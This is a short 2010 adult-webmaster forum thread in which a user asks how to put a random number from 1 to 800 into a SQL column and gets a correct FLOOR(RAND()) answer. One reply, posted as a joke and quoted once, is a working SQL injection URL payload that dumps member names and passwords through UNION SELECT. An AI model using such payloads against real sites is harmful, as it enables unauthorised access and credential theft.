GoFuckYourself.com - Adult Webmaster Forum - Any SQL gurus around? Need little help.

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)

- Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)

- - Any SQL gurus around? Need little help. (https://gfy.com/showthread.php?t=997135)

RaiderCash_Dominik

11-11-2010 06:46 PM

Any SQL gurus around? Need little help.

I need to insert random number in a filed for each entry in the table.

So I have:

Update members set random_number = ( puts any random number from 1 thru 800 )

So for each member there's random number. Doesn't have to be unique.

Thanks.

cocainer

11-11-2010 07:04 PM

Code:

http://yoursite.com/index.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members

woj	11-11-2010 07:07 PM

use FLOOR(RAND()*800+1)?

RaiderCash_Dominik

11-11-2010 07:17 PM

Quote:

Originally Posted by cocainer (Post 17692872)

Code:

http://yoursite.com/index.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members

dude.. :1orglaugh

RaiderCash_Dominik

11-11-2010 07:18 PM

Quote:

Originally Posted by woj (Post 17692880)

use FLOOR(RAND()*800+1)?

thanks.. will give it a try

All times are GMT -7. The time now is 11:00 PM.